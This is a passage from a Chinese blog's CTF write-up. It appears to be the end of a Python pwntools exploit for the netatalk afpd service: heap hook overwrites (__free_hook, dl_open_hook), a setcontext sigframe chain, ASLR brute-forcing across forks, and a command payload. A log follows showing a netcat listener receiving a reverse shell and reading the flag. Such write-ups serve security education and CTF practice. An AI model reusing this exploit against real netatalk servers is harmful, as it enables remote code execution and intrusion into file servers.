    data += p64(libc_dlopen_mode_56)            # __free_hook, after this rop, rax = *dl_open_hook = dl_open_hook + 8
    data += CMD.ljust(0x2bb8, '\x00')          # __free_hook + 8
    data += p64(dl_open_hook + 8)               # dl_open_hook, *dl_open_hook = dl_open_hook+8, **dl_open_hook = fgetpos64+207
    data += p64(fgetpos64_207)                # _dl_open_hook+8, let rdi = rax = _dl_open_hook + 8
    data += 'A' * 0x18
    data += p64(setcontext_53)             # dl_open_hook + 0x28 = rax + 0x20, call [rax+0x20] = setcontext+53
  
    data += str(sigframe)[0x28:]           # now rdi = dl_open_hook + 8, thus we cut the offset from rdi to this pos

    payload = gen_payload2(data)
    tmp = gen_header(len(payload)) + payload
    p.send(tmp)
    p.close()

# REMOTE: 0x7f1d2378f000
leak_addr = bruteforce()

for offset in range(0, 0xffff000, 0x1000):
    exploit(leak_addr, offset)

结果

ubuntu@VM-8-13-ubuntu:~$ sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 139.162.123.119 33326
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
netatalk@08e1e5af1e65:/$ ls
ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
netatalk@08e1e5af1e65:/$ cd home
cd home
netatalk@08e1e5af1e65:/home$ ls
ls
netatalk
netatalk@08e1e5af1e65:/home$ cd netatalk
cd netatalk
netatalk@08e1e5af1e65:/home/netatalk$ ls
ls
afp.conf
afpd
flag
libatalk.so.18
netatalk@08e1e5af1e65:/home/netatalk$ cat flag
cat flag
FLAG{ASLR_1s_us3l3ss_0n_f0rk_d43m0n}
netatalk@08e1e5af1e65:/home/netatalk$

文章作者: 李立基
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 李立基 !
  目录